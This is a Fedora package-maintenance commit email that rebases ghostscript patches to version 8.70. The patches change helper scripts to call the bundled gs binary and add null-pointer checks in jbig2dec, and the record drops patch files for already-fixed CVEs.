Message-ID: <20091005130015.D300511C02A2@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/ghostscript/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9555

Modified Files:
	.cvsignore ghostscript-gs-executable.patch 
	ghostscript-jbig2dec-nullderef.patch ghostscript.spec sources 
Removed Files:
	ghostscript-CVE-2009-0196.patch 
	ghostscript-CVE-2009-0583,0584.patch 
	ghostscript-CVE-2009-0792.patch ghostscript-bitcmyk.patch 
Log Message:
Sync to F-11.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ghostscript/F-10/.cvsignore,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- .cvsignore	30 Jul 2009 14:12:50 -0000	1.28
+++ .cvsignore	5 Oct 2009 13:00:14 -0000	1.29
@@ -24,3 +24,4 @@ ghostscript-8.61.tar.bz2
 ghostscript-8.62.tar.bz2
 ghostscript-8.63.tar.bz2
 ghostscript-8.64.tar.bz2
+ghostscript-8.70.tar.bz2

ghostscript-gs-executable.patch:
 bdftops  |    5 ++---
 dumphint |    5 ++---
 eps2eps  |    5 ++---
 font2c   |    5 ++---
 gsbj     |    5 ++---
 gsdj     |    5 ++---
 gsdj500  |    5 ++---
 gslj     |    5 ++---
 gslp     |    5 ++---
 gsnd     |    5 ++---
 pdf2dsc  |    5 ++---
 pdf2ps   |    5 ++---
 pdfopt   |    5 ++---
 pf2afm   |    5 ++---
 pfbtopfa |    5 ++---
 pphs     |    5 ++---
 printafm |    5 ++---
 ps2epsi  |    7 +++----
 ps2pdfwr |    5 ++---
 ps2ps    |    5 ++---
 wftopfa  |    5 ++---
 21 files changed, 43 insertions(+), 64 deletions(-)

Index: ghostscript-gs-executable.patch
===================================================================
RCS file: /cvs/pkgs/rpms/ghostscript/F-10/ghostscript-gs-executable.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- ghostscript-gs-executable.patch	30 Jul 2009 14:12:51 -0000	1.2
+++ ghostscript-gs-executable.patch	5 Oct 2009 13:00:15 -0000	1.3
@@ -1,6 +1,6 @@
-diff -up ghostscript-8.64/lib/bdftops.gs-executable ghostscript-8.64/lib/bdftops
---- ghostscript-8.64/lib/bdftops.gs-executable	2009-06-10 17:55:39.762484085 +0100
-+++ ghostscript-8.64/lib/bdftops	2009-06-10 17:55:39.765483778 +0100
+diff -up ghostscript-8.70/lib/bdftops.gs-executable ghostscript-8.70/lib/bdftops
+--- ghostscript-8.70/lib/bdftops.gs-executable	2007-07-05 20:04:29.000000000 +0100
++++ ghostscript-8.70/lib/bdftops	2009-08-03 17:53:20.569875831 +0100
 @@ -6,8 +6,7 @@
  GS_EXECUTABLE=gs
  gs="`dirname $0`/$GS_EXECUTABLE"
@@ -12,9 +12,9 @@ diff -up ghostscript-8.64/lib/bdftops.gs
  
 -exec "$GS_EXECUTABLE" -q -dBATCH -dNODISPLAY -- bdftops.ps "$@"
 +exec "$gs" -q -dBATCH -dNODISPLAY -- bdftops.ps "$@"
-diff -up ghostscript-8.64/lib/dumphint.gs-executable ghostscript-8.64/lib/dumphint
---- ghostscript-8.64/lib/dumphint.gs-executable	2009-06-10 17:55:39.767484373 +0100
-+++ ghostscript-8.64/lib/dumphint	2009-06-10 17:55:39.823360403 +0100
+diff -up ghostscript-8.70/lib/dumphint.gs-executable ghostscript-8.70/lib/dumphint
+--- ghostscript-8.70/lib/dumphint.gs-executable	2009-01-04 20:11:57.000000000 +0000
++++ ghostscript-8.70/lib/dumphint	2009-08-03 17:53:20.570875283 +0100
 @@ -7,9 +7,8 @@
  GS_EXECUTABLE=gs
  gs="`dirname $0`/$GS_EXECUTABLE"
@@ -32,9 +32,9 @@ diff -up ghostscript-8.64/lib/dumphint.g
  
 -exec "$GS_EXECUTABLE" -q -dNODISPLAY $OPTIONS -- "`dirname $0`/dumphint.ps" "$1"
 +exec "$gs" -q -dNODISPLAY $OPTIONS -- "`dirname $0`/dumphint.ps" "$1"
-diff -up ghostscript-8.64/lib/eps2eps.gs-executable ghostscript-8.64/lib/eps2eps
---- ghostscript-8.64/lib/eps2eps.gs-executable	2009-06-10 17:55:39.846358935 +0100
-+++ ghostscript-8.64/lib/eps2eps	2009-06-10 17:55:39.848359175 +0100
+diff -up ghostscript-8.70/lib/eps2eps.gs-executable ghostscript-8.70/lib/eps2eps
+--- ghostscript-8.70/lib/eps2eps.gs-executable	2009-01-10 22:11:18.000000000 +0000
++++ ghostscript-8.70/lib/eps2eps	2009-08-03 17:53:20.573877995 +0100
 @@ -7,9 +7,8 @@
  GS_EXECUTABLE=gs
  gs="`dirname $0`/$GS_EXECUTABLE"
@@ -52,9 +52,9 @@ diff -up ghostscript-8.64/lib/eps2eps.gs
  
 -exec "$GS_EXECUTABLE" -q -sDEVICE=epswrite -sstdout=%stderr "-sOutputFile=$2" -dNOPAUSE -dBATCH -dSAFER $OPTIONS "$1"
 +exec "$gs" -q -sDEVICE=epswrite -sstdout=%stderr "-sOutputFile=$2" -dNOPAUSE -dBATCH -dSAFER $OPTIONS "$1"
-diff -up ghostscript-8.64/lib/font2c.gs-executable ghostscript-8.64/lib/font2c
---- ghostscript-8.64/lib/font2c.gs-executable	2009-06-10 17:55:39.850358868 +0100
-+++ ghostscript-8.64/lib/font2c	2009-06-10 17:55:39.852359769 +0100
+diff -up ghostscript-8.70/lib/font2c.gs-executable ghostscript-8.70/lib/font2c
+--- ghostscript-8.70/lib/font2c.gs-executable	2007-07-05 20:04:29.000000000 +0100
++++ ghostscript-8.70/lib/font2c	2009-08-03 17:53:20.576874823 +0100
 @@ -6,8 +6,7 @@
  GS_EXECUTABLE=gs
  gs="`dirname $0`/$GS_EXECUTABLE"
@@ -66,9 +66,9 @@ diff -up ghostscript-8.64/lib/font2c.gs-
  
 -exec "$GS_EXECUTABLE" -q -dNODISPLAY -dWRITESYSTEMDICT -- font2c.ps "$@"
 +exec "$gs" -q -dNODISPLAY -dWRITESYSTEMDICT -- font2c.ps "$@"
-diff -up ghostscript-8.64/lib/gsbj.gs-executable ghostscript-8.64/lib/gsbj
---- ghostscript-8.64/lib/gsbj.gs-executable	2009-06-10 17:55:39.854358559 +0100
-+++ ghostscript-8.64/lib/gsbj	2009-06-10 17:55:39.856358929 +0100
+diff -up ghostscript-8.70/lib/gsbj.gs-executable ghostscript-8.70/lib/gsbj
+--- ghostscript-8.70/lib/gsbj.gs-executable	2007-07-05 20:04:29.000000000 +0100
++++ ghostscript-8.70/lib/gsbj	2009-08-03 17:53:20.579874829 +0100
 @@ -6,8 +6,7 @@
  GS_EXECUTABLE=gs
  gs="`dirname $0`/$GS_EXECUTABLE"
@@ -80,9 +80,9 @@ diff -up ghostscript-8.64/lib/gsbj.gs-ex
  
 -exec "$GS_EXECUTABLE" -q -sDEVICE=bj10e -r180 -dNOPAUSE -sPROGNAME=$0 -- gslp.ps --heading-center "`date`" "$@"
 +exec "$gs" -q -sDEVICE=bj10e -r180 -dNOPAUSE -sPROGNAME=$0 -- gslp.ps --heading-center "`date`" "$@"
-diff -up ghostscript-8.64/lib/gsdj500.gs-executable ghostscript-8.64/lib/gsdj500
---- ghostscript-8.64/lib/gsdj500.gs-executable	2009-06-10 17:55:39.863358659 +0100
-+++ ghostscript-8.64/lib/gsdj500	2009-06-10 17:55:39.865358381 +0100
+diff -up ghostscript-8.70/lib/gsdj500.gs-executable ghostscript-8.70/lib/gsdj500
+--- ghostscript-8.70/lib/gsdj500.gs-executable	2007-07-05 20:04:29.000000000 +0100
++++ ghostscript-8.70/lib/gsdj500	2009-08-03 17:53:20.582874574 +0100
 @@ -6,8 +6,7 @@
  GS_EXECUTABLE=gs
  gs="`dirname $0`/$GS_EXECUTABLE"
@@ -94,9 +94,9 @@ diff -up ghostscript-8.64/lib/gsdj500.gs
  
 -exec "$GS_EXECUTABLE" -q -sDEVICE=djet500 -r300 -dNOPAUSE -sPROGNAME=$0 -- gslp.ps --heading-center "`date`" "$@"
 +exec "$gs" -q -sDEVICE=djet500 -r300 -dNOPAUSE -sPROGNAME=$0 -- gslp.ps --heading-center "`date`" "$@"
-diff -up ghostscript-8.64/lib/gsdj.gs-executable ghostscript-8.64/lib/gsdj
---- ghostscript-8.64/lib/gsdj.gs-executable	2009-06-10 17:55:39.858358853 +0100
-+++ ghostscript-8.64/lib/gsdj	2009-06-10 17:55:39.860359097 +0100
+diff -up ghostscript-8.70/lib/gsdj.gs-executable ghostscript-8.70/lib/gsdj
+--- ghostscript-8.70/lib/gsdj.gs-executable	2007-07-05 20:04:29.000000000 +0100
++++ ghostscript-8.70/lib/gsdj	2009-08-03 17:53:20.585875161 +0100
 @@ -6,8 +6,7 @@
  GS_EXECUTABLE=gs
  gs="`dirname $0`/$GS_EXECUTABLE"
@@ -108,9 +108,9 @@ diff -up ghostscript-8.64/lib/gsdj.gs-ex
  
 -exec "$GS_EXECUTABLE" -q -sDEVICE=deskjet -r300 -dNOPAUSE -sPROGNAME=$0 -- gslp.ps --heading-center "`date`" "$@"
 +exec "$gs" -q -sDEVICE=deskjet -r300 -dNOPAUSE -sPROGNAME=$0 -- gslp.ps --heading-center "`date`" "$@"
-diff -up ghostscript-8.64/lib/gslj.gs-executable ghostscript-8.64/lib/gslj
---- ghostscript-8.64/lib/gslj.gs-executable	2009-06-10 17:55:39.867359335 +0100
-+++ ghostscript-8.64/lib/gslj	2009-06-10 17:55:39.868359409 +0100
+diff -up ghostscript-8.70/lib/gslj.gs-executable ghostscript-8.70/lib/gslj
+--- ghostscript-8.70/lib/gslj.gs-executable	2007-07-05 20:04:29.000000000 +0100
++++ ghostscript-8.70/lib/gslj	2009-08-03 17:53:20.588874966 +0100
 @@ -6,8 +6,7 @@
  GS_EXECUTABLE=gs
  gs="`dirname $0`/$GS_EXECUTABLE"
@@ -122,9 +122,9 @@ diff -up ghostscript-8.64/lib/gslj.gs-ex
  
 -exec "$GS_EXECUTABLE" -q -sDEVICE=laserjet -r300 -dNOPAUSE -sPROGNAME=$0 -- gslp.ps --heading-center "`date`" "$@"
 +exec "$gs" -q -sDEVICE=laserjet -r300 -dNOPAUSE -sPROGNAME=$0 -- gslp.ps --heading-center "`date`" "$@"
-diff -up ghostscript-8.64/lib/gslp.gs-executable ghostscript-8.64/lib/gslp
---- ghostscript-8.64/lib/gslp.gs-executable	2009-06-10 17:55:39.870359296 +0100
-+++ ghostscript-8.64/lib/gslp	2009-06-10 17:55:39.872359052 +0100
+diff -up ghostscript-8.70/lib/gslp.gs-executable ghostscript-8.70/lib/gslp
+--- ghostscript-8.70/lib/gslp.gs-executable	2007-07-05 20:04:29.000000000 +0100
++++ ghostscript-8.70/lib/gslp	2009-08-03 17:53:20.591874666 +0100
 @@ -6,8 +6,7 @@
  GS_EXECUTABLE=gs
  gs="`dirname $0`/$GS_EXECUTABLE"
@@ -136,9 +136,9 @@ diff -up ghostscript-8.64/lib/gslp.gs-ex
  
 -exec "$GS_EXECUTABLE" -q -sDEVICE=epson -r180 -dNOPAUSE -sPROGNAME=$0 -- gslp.ps --heading-center "`date`" "$@"
 +exec "$gs" -q -sDEVICE=epson -r180 -dNOPAUSE -sPROGNAME=$0 -- gslp.ps --heading-center "`date`" "$@"
-diff -up ghostscript-8.64/lib/gsnd.gs-executable ghostscript-8.64/lib/gsnd
---- ghostscript-8.64/lib/gsnd.gs-executable	2009-06-10 17:55:39.874358723 +0100
-+++ ghostscript-8.64/lib/gsnd	2009-06-10 17:55:39.876358801 +0100
+diff -up ghostscript-8.70/lib/gsnd.gs-executable ghostscript-8.70/lib/gsnd
+--- ghostscript-8.70/lib/gsnd.gs-executable	2007-07-05 20:04:29.000000000 +0100
++++ ghostscript-8.70/lib/gsnd	2009-08-03 17:53:20.594874682 +0100
 @@ -6,8 +6,7 @@
  GS_EXECUTABLE=gs
  gs="`dirname $0`/$GS_EXECUTABLE"
@@ -150,9 +150,9 @@ diff -up ghostscript-8.64/lib/gsnd.gs-ex
  
 -exec "$GS_EXECUTABLE" -dNODISPLAY "$@"
 +exec "$gs" -dNODISPLAY "$@"
-diff -up ghostscript-8.64/lib/pdf2dsc.gs-executable ghostscript-8.64/lib/pdf2dsc
---- ghostscript-8.64/lib/pdf2dsc.gs-executable	2009-06-10 17:55:39.878358517 +0100
-+++ ghostscript-8.64/lib/pdf2dsc	2009-06-10 17:55:39.880358835 +0100
+diff -up ghostscript-8.70/lib/pdf2dsc.gs-executable ghostscript-8.70/lib/pdf2dsc
+--- ghostscript-8.70/lib/pdf2dsc.gs-executable	2007-07-05 20:04:29.000000000 +0100
++++ ghostscript-8.70/lib/pdf2dsc	2009-08-03 17:53:20.597874954 +0100
 @@ -11,9 +11,8 @@
  GS_EXECUTABLE=gs
  gs="`dirname $0`/$GS_EXECUTABLE"
@@ -171,9 +171,9 @@ diff -up ghostscript-8.64/lib/pdf2dsc.gs
 -exec "$GS_EXECUTABLE" -q -dNODISPLAY -dSAFER -dDELAYSAFER\
 +exec "$gs" -q -dNODISPLAY -dSAFER -dDELAYSAFER\
      -sPDFname="$pdffile" -sDSCname="$dscfile" pdf2dsc.ps -c quit
-diff -up ghostscript-8.64/lib/pdf2ps.gs-executable ghostscript-8.64/lib/pdf2ps
---- ghostscript-8.64/lib/pdf2ps.gs-executable	2009-06-10 17:55:39.882358707 +0100
-+++ ghostscript-8.64/lib/pdf2ps	2009-06-10 17:55:39.884359406 +0100
+diff -up ghostscript-8.70/lib/pdf2ps.gs-executable ghostscript-8.70/lib/pdf2ps
+--- ghostscript-8.70/lib/pdf2ps.gs-executable	2007-07-05 20:04:29.000000000 +0100
++++ ghostscript-8.70/lib/pdf2ps	2009-08-03 17:53:20.601874677 +0100
 @@ -7,9 +7,8 @@
  GS_EXECUTABLE=gs
  gs="`dirname $0`/$GS_EXECUTABLE"
@@ -191,9 +191,9 @@ diff -up ghostscript-8.64/lib/pdf2ps.gs-
  # appears before other options.
 -exec "$GS_EXECUTABLE" $OPTIONS -q -dNOPAUSE -dBATCH -dSAFER -sDEVICE=pswrite "-sOutputFile=$outfile" $OPTIONS -c save pop -f "$1"
 +exec "$gs" $OPTIONS -q -dNOPAUSE -dBATCH -dSAFER -sDEVICE=pswrite "-sOutputFile=$outfile" $OPTIONS -c save pop -f "$1"
-diff -up ghostscript-8.64/lib/pdfopt.gs-executable ghostscript-8.64/lib/pdfopt
---- ghostscript-8.64/lib/pdfopt.gs-executable	2009-06-10 17:55:39.886358586 +0100
-+++ ghostscript-8.64/lib/pdfopt	2009-06-10 17:55:39.888358849 +0100
+diff -up ghostscript-8.70/lib/pdfopt.gs-executable ghostscript-8.70/lib/pdfopt
+--- ghostscript-8.70/lib/pdfopt.gs-executable	2008-05-25 03:17:14.000000000 +0100
++++ ghostscript-8.70/lib/pdfopt	2009-08-03 17:53:20.604874898 +0100
 @@ -7,9 +7,8 @@
  GS_EXECUTABLE=gs
  gs="`dirname $0`/$GS_EXECUTABLE"
@@ -211,9 +211,9 @@ diff -up ghostscript-8.64/lib/pdfopt.gs-
  
 -exec "$GS_EXECUTABLE" -q -dNODISPLAY $OPTIONS -- pdfopt.ps "$1" "$2"
 +exec "$gs" -q -dNODISPLAY $OPTIONS -- pdfopt.ps "$1" "$2"
-diff -up ghostscript-8.64/lib/pf2afm.gs-executable ghostscript-8.64/lib/pf2afm
---- ghostscript-8.64/lib/pf2afm.gs-executable	2009-06-10 17:55:39.890358746 +0100
-+++ ghostscript-8.64/lib/pf2afm	2009-06-10 17:55:39.892358698 +0100
+diff -up ghostscript-8.70/lib/pf2afm.gs-executable ghostscript-8.70/lib/pf2afm
+--- ghostscript-8.70/lib/pf2afm.gs-executable	2007-07-05 20:04:29.000000000 +0100
++++ ghostscript-8.70/lib/pf2afm	2009-08-03 17:53:20.608874740 +0100
 @@ -10,8 +10,7 @@
  GS_EXECUTABLE=gs
  gs="`dirname $0`/$GS_EXECUTABLE"
@@ -225,9 +225,9 @@ diff -up ghostscript-8.64/lib/pf2afm.gs-
  
 -exec "$GS_EXECUTABLE" -q -dNODISPLAY -dSAFER -dDELAYSAFER  -- pf2afm.ps "$@"
 +exec "$gs" -q -dNODISPLAY -dSAFER -dDELAYSAFER  -- pf2afm.ps "$@"
-diff -up ghostscript-8.64/lib/pfbtopfa.gs-executable ghostscript-8.64/lib/pfbtopfa
---- ghostscript-8.64/lib/pfbtopfa.gs-executable	2009-06-10 17:55:39.894358695 +0100
-+++ ghostscript-8.64/lib/pfbtopfa	2009-06-10 17:55:39.896359133 +0100
+diff -up ghostscript-8.70/lib/pfbtopfa.gs-executable ghostscript-8.70/lib/pfbtopfa
+--- ghostscript-8.70/lib/pfbtopfa.gs-executable	2007-07-05 20:04:29.000000000 +0100
++++ ghostscript-8.70/lib/pfbtopfa	2009-08-03 17:53:20.612874691 +0100
 @@ -7,9 +7,8 @@
  GS_EXECUTABLE=gs
  gs="`dirname $0`/$GS_EXECUTABLE"
@@ -245,9 +245,9 @@ diff -up ghostscript-8.64/lib/pfbtopfa.g
  
 -exec "$GS_EXECUTABLE" -q -dNODISPLAY -- pfbtopfa.ps "$1" "$outfile"
 +exec "$gs" -q -dNODISPLAY -- pfbtopfa.ps "$1" "$outfile"
-diff -up ghostscript-8.64/lib/pphs.gs-executable ghostscript-8.64/lib/pphs
---- ghostscript-8.64/lib/pphs.gs-executable	2009-06-10 17:55:39.898358975 +0100
-+++ ghostscript-8.64/lib/pphs	2009-06-10 17:55:39.900359087 +0100
+diff -up ghostscript-8.70/lib/pphs.gs-executable ghostscript-8.70/lib/pphs
+--- ghostscript-8.70/lib/pphs.gs-executable	2007-07-05 20:04:29.000000000 +0100
++++ ghostscript-8.70/lib/pphs	2009-08-03 17:53:20.616874647 +0100
 @@ -9,8 +9,7 @@
  GS_EXECUTABLE=gs
  gs="`dirname $0`/$GS_EXECUTABLE"
@@ -259,9 +259,9 @@ diff -up ghostscript-8.64/lib/pphs.gs-ex
  
 -exec "$GS_EXECUTABLE" -q -dNODISPLAY -- pphs.ps "$@"
 +exec "$gs" -q -dNODISPLAY -- pphs.ps "$@"
-diff -up ghostscript-8.64/lib/printafm.gs-executable ghostscript-8.64/lib/printafm
---- ghostscript-8.64/lib/printafm.gs-executable	2009-06-10 17:55:39.902358678 +0100
-+++ ghostscript-8.64/lib/printafm	2009-06-10 17:55:39.904358851 +0100
+diff -up ghostscript-8.70/lib/printafm.gs-executable ghostscript-8.70/lib/printafm
+--- ghostscript-8.70/lib/printafm.gs-executable	2007-07-05 20:04:29.000000000 +0100
++++ ghostscript-8.70/lib/printafm	2009-08-03 17:53:20.619874766 +0100
 @@ -9,8 +9,7 @@
  GS_EXECUTABLE=gs
  gs="`dirname $0`/$GS_EXECUTABLE"
@@ -273,9 +273,9 @@ diff -up ghostscript-8.64/lib/printafm.g
  
 -exec "$GS_EXECUTABLE" -q -dNODISPLAY -- printafm.ps "$@"
 +exec "$gs" -q -dNODISPLAY -- printafm.ps "$@"
-diff -up ghostscript-8.64/lib/ps2epsi.gs-executable ghostscript-8.64/lib/ps2epsi
---- ghostscript-8.64/lib/ps2epsi.gs-executable	2009-06-10 17:55:39.906359755 +0100
-+++ ghostscript-8.64/lib/ps2epsi	2009-06-10 17:55:39.908359051 +0100
+diff -up ghostscript-8.70/lib/ps2epsi.gs-executable ghostscript-8.70/lib/ps2epsi
+--- ghostscript-8.70/lib/ps2epsi.gs-executable	2009-04-07 11:20:02.000000000 +0100
++++ ghostscript-8.70/lib/ps2epsi	2009-08-03 17:54:48.355750266 +0100
 @@ -6,9 +6,8 @@
  GS_EXECUTABLE=gs
  gs="`dirname $0`/$GS_EXECUTABLE"
@@ -287,18 +287,27 @@ diff -up ghostscript-8.64/lib/ps2epsi.gs
  
  # try to create a temporary file securely
  if test -z "$TMPDIR"; then
-@@ -75,7 +74,7 @@ awk 'F==1	{
+@@ -50,7 +49,7 @@ else
+ 	outfile=$2
+ fi
+ 
+-"$GS_EXECUTABLE" -q -dBATCH -dNOPAUSE -dSAFER -dDELAYSAFER -sDEVICE=bbox -sOutputFile=/dev/null "${infile}" 2>${outfile}
++"$gs" -q -dBATCH -dNOPAUSE -dSAFER -dDELAYSAFER -sDEVICE=bbox -sOutputFile=/dev/null "${infile}" 2>${outfile}
+ 
+ ls -l "${infile}" |
+ awk 'F==1	{
+@@ -92,7 +91,7 @@ awk 'F==1	{
  		}
- 	' U="$USERNAME$LOGNAME"  F=1 - F=2 "${infile}" >"$tmpfile"
+ 	' F=1 - F=2 "${outfile}" >>"$tmpfile"
  
--"$GS_EXECUTABLE" -q -sPAPERSIZE=a0 -dNOPAUSE -dSAFER -dDELAYSAFER -r72 -sDEVICE=bit -sOutputFile=/dev/null "$tmpfile" ps2epsi.ps "$tmpfile" <"${infile}" 1>&2
-+"$gs" -q -sPAPERSIZE=a0 -dNOPAUSE -dSAFER -dDELAYSAFER -r72 -sDEVICE=bit -sOutputFile=/dev/null "$tmpfile" ps2epsi.ps "$tmpfile" <"${infile}" 1>&2
+-"$GS_EXECUTABLE" -q -dNOPAUSE -dSAFER -dDELAYSAFER -r72 -sDEVICE=bit -sOutputFile=/dev/null "$tmpfile" ps2epsi.ps "$tmpfile" <"${infile}" 1>&2
++"$gs" -q -dNOPAUSE -dSAFER -dDELAYSAFER -r72 -sDEVICE=bit -sOutputFile=/dev/null "$tmpfile" ps2epsi.ps "$tmpfile" <"${infile}" 1>&2
  rm -f "$tmpfile"
  rm -rf "$tmpdir"
  
-diff -up ghostscript-8.64/lib/ps2pdfwr.gs-executable ghostscript-8.64/lib/ps2pdfwr
---- ghostscript-8.64/lib/ps2pdfwr.gs-executable	2009-06-10 17:55:39.910358261 +0100
-+++ ghostscript-8.64/lib/ps2pdfwr	2009-06-10 17:55:39.912359265 +0100
+diff -up ghostscript-8.70/lib/ps2pdfwr.gs-executable ghostscript-8.70/lib/ps2pdfwr
+--- ghostscript-8.70/lib/ps2pdfwr.gs-executable	2009-01-10 22:11:18.000000000 +0000
++++ ghostscript-8.70/lib/ps2pdfwr	2009-08-03 17:53:20.626874926 +0100
 @@ -7,9 +7,8 @@
  GS_EXECUTABLE=gs
  gs="`dirname $0`/$GS_EXECUTABLE"
@@ -316,9 +325,9 @@ diff -up ghostscript-8.64/lib/ps2pdfwr.g
  # appears before other options.
 -exec "$GS_EXECUTABLE" $OPTIONS -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sstdout=%stderr "-sOutputFile=$outfile" $OPTIONS -c .setpdfwrite -f "$infile"
 +exec "$gs" $OPTIONS -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sstdout=%stderr "-sOutputFile=$outfile" $OPTIONS -c .setpdfwrite -f "$infile"
-diff -up ghostscript-8.64/lib/ps2ps.gs-executable ghostscript-8.64/lib/ps2ps
---- ghostscript-8.64/lib/ps2ps.gs-executable	2009-06-10 17:55:39.914358120 +0100
-+++ ghostscript-8.64/lib/ps2ps	2009-06-10 17:55:39.915358850 +0100
+diff -up ghostscript-8.70/lib/ps2ps.gs-executable ghostscript-8.70/lib/ps2ps
+--- ghostscript-8.70/lib/ps2ps.gs-executable	2009-01-10 22:11:18.000000000 +0000
++++ ghostscript-8.70/lib/ps2ps	2009-08-03 17:53:20.630875037 +0100
 @@ -7,9 +7,8 @@
  GS_EXECUTABLE=gs
  gs="`dirname $0`/$GS_EXECUTABLE"
@@ -336,9 +345,9 @@ diff -up ghostscript-8.64/lib/ps2ps.gs-e
  
 -exec "$GS_EXECUTABLE" -q -sDEVICE=pswrite -sstdout=%stderr "-sOutputFile=$2" -dNOPAUSE -dBATCH $OPTIONS "$1"
 +exec "$gs" -q -sDEVICE=pswrite -sstdout=%stderr "-sOutputFile=$2" -dNOPAUSE -dBATCH $OPTIONS "$1"
-diff -up ghostscript-8.64/lib/wftopfa.gs-executable ghostscript-8.64/lib/wftopfa
---- ghostscript-8.64/lib/wftopfa.gs-executable	2009-06-10 17:55:39.917358998 +0100
-+++ ghostscript-8.64/lib/wftopfa	2009-06-10 17:55:39.919358413 +0100
+diff -up ghostscript-8.70/lib/wftopfa.gs-executable ghostscript-8.70/lib/wftopfa
+--- ghostscript-8.70/lib/wftopfa.gs-executable	2007-07-05 20:04:29.000000000 +0100
++++ ghostscript-8.70/lib/wftopfa	2009-08-03 17:53:20.633874780 +0100
 @@ -6,8 +6,7 @@
  GS_EXECUTABLE=gs
  gs="`dirname $0`/$GS_EXECUTABLE"

ghostscript-jbig2dec-nullderef.patch:
 jbig2_generic.c     |    4 ++++
 jbig2_symbol_dict.c |   20 ++++++++++++++++++++
 jbig2_text.c        |    6 ++++++
 3 files changed, 30 insertions(+)

Index: ghostscript-jbig2dec-nullderef.patch
===================================================================
RCS file: /cvs/pkgs/rpms/ghostscript/F-10/ghostscript-jbig2dec-nullderef.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- ghostscript-jbig2dec-nullderef.patch	30 Jul 2009 14:12:51 -0000	1.2
+++ ghostscript-jbig2dec-nullderef.patch	5 Oct 2009 13:00:15 -0000	1.3
@@ -1,7 +1,7 @@
-diff -up ghostscript-8.64/jbig2dec/jbig2_generic.c.jbig2dec-nullderef ghostscript-8.64/jbig2dec/jbig2_generic.c
---- ghostscript-8.64/jbig2dec/jbig2_generic.c.jbig2dec-nullderef	2007-10-25 23:14:22.000000000 +0100
-+++ ghostscript-8.64/jbig2dec/jbig2_generic.c	2009-06-02 10:45:01.814127074 +0100
-@@ -599,6 +599,10 @@ jbig2_immediate_generic_region(Jbig2Ctx 
+diff -up ghostscript-8.70/jbig2dec/jbig2_generic.c.jbig2dec-nullderef ghostscript-8.70/jbig2dec/jbig2_generic.c
+--- ghostscript-8.70/jbig2dec/jbig2_generic.c.jbig2dec-nullderef	2009-05-29 07:48:44.000000000 +0100
++++ ghostscript-8.70/jbig2dec/jbig2_generic.c	2009-08-03 17:51:13.864875636 +0100
+@@ -596,6 +596,10 @@ jbig2_immediate_generic_region(Jbig2Ctx 
    memcpy (params.gbat, gbat, gbat_bytes);
  
    image = jbig2_image_new(ctx, rsi.width, rsi.height);
@@ -12,10 +12,10 @@ diff -up ghostscript-8.64/jbig2dec/jbig2
    jbig2_error(ctx, JBIG2_SEVERITY_DEBUG, segment->number,
      "allocated %d x %d image buffer for region decode results",
          rsi.width, rsi.height);
-diff -up ghostscript-8.64/jbig2dec/jbig2_symbol_dict.c.jbig2dec-nullderef ghostscript-8.64/jbig2dec/jbig2_symbol_dict.c
---- ghostscript-8.64/jbig2dec/jbig2_symbol_dict.c.jbig2dec-nullderef	2009-06-02 10:45:01.809127374 +0100
-+++ ghostscript-8.64/jbig2dec/jbig2_symbol_dict.c	2009-06-02 10:45:01.814127074 +0100
-@@ -370,6 +370,11 @@ jbig2_decode_symbol_dict(Jbig2Ctx *ctx,
+diff -up ghostscript-8.70/jbig2dec/jbig2_symbol_dict.c.jbig2dec-nullderef ghostscript-8.70/jbig2dec/jbig2_symbol_dict.c
+--- ghostscript-8.70/jbig2dec/jbig2_symbol_dict.c.jbig2dec-nullderef	2009-05-29 07:48:44.000000000 +0100
++++ ghostscript-8.70/jbig2dec/jbig2_symbol_dict.c	2009-08-03 17:52:35.318750131 +0100
+@@ -367,6 +367,11 @@ jbig2_decode_symbol_dict(Jbig2Ctx *ctx,
  		  memcpy(region_params.gbat, params->sdat, sdat_bytes);
  
  		  image = jbig2_image_new(ctx, SYMWIDTH, HCHEIGHT);
@@ -27,7 +27,7 @@ diff -up ghostscript-8.64/jbig2dec/jbig2
  
  		  code = jbig2_decode_generic_region(ctx, segment, &region_params,
  						     as, image, GB_stats);
-@@ -520,6 +525,11 @@ jbig2_decode_symbol_dict(Jbig2Ctx *ctx,
+@@ -517,6 +522,11 @@ jbig2_decode_symbol_dict(Jbig2Ctx *ctx,
  			ID, RDX, RDY);
  
  		      image = jbig2_image_new(ctx, SYMWIDTH, HCHEIGHT);
@@ -39,7 +39,7 @@ diff -up ghostscript-8.64/jbig2dec/jbig2
  
  		      /* Table 18 */
  		      rparams.GRTEMPLATE = params->SDRTEMPLATE;
-@@ -638,6 +648,16 @@ jbig2_decode_symbol_dict(Jbig2Ctx *ctx,
+@@ -635,6 +645,16 @@ jbig2_decode_symbol_dict(Jbig2Ctx *ctx,
  	for (j = HCFIRSTSYM; j < NSYMSDECODED; j++) {
  	  Jbig2Image *glyph;
  	  glyph = jbig2_image_new(ctx, SDNEWSYMWIDTHS[j], HCHEIGHT);
@@ -53,16 +53,16 @@ diff -up ghostscript-8.64/jbig2dec/jbig2
 +	      jbig2_image_release(ctx, image);
 +	      return NULL;
 +	  }
- 	  jbig2_image_compose(ctx, glyph, image, 
+ 	  jbig2_image_compose(ctx, glyph, image,
  		-x, 0, JBIG2_COMPOSE_REPLACE);
  	  x += SDNEWSYMWIDTHS[j];
-diff -up ghostscript-8.64/jbig2dec/jbig2_text.c.jbig2dec-nullderef ghostscript-8.64/jbig2dec/jbig2_text.c
---- ghostscript-8.64/jbig2dec/jbig2_text.c.jbig2dec-nullderef	2008-05-09 15:00:44.000000000 +0100
-+++ ghostscript-8.64/jbig2dec/jbig2_text.c	2009-06-02 10:45:01.816126454 +0100
-@@ -315,6 +315,9 @@ jbig2_decode_text_region(Jbig2Ctx *ctx, 
+diff -up ghostscript-8.70/jbig2dec/jbig2_text.c.jbig2dec-nullderef ghostscript-8.70/jbig2dec/jbig2_text.c
+--- ghostscript-8.70/jbig2dec/jbig2_text.c.jbig2dec-nullderef	2009-05-29 07:48:44.000000000 +0100
++++ ghostscript-8.70/jbig2dec/jbig2_text.c	2009-08-03 17:53:05.166750610 +0100
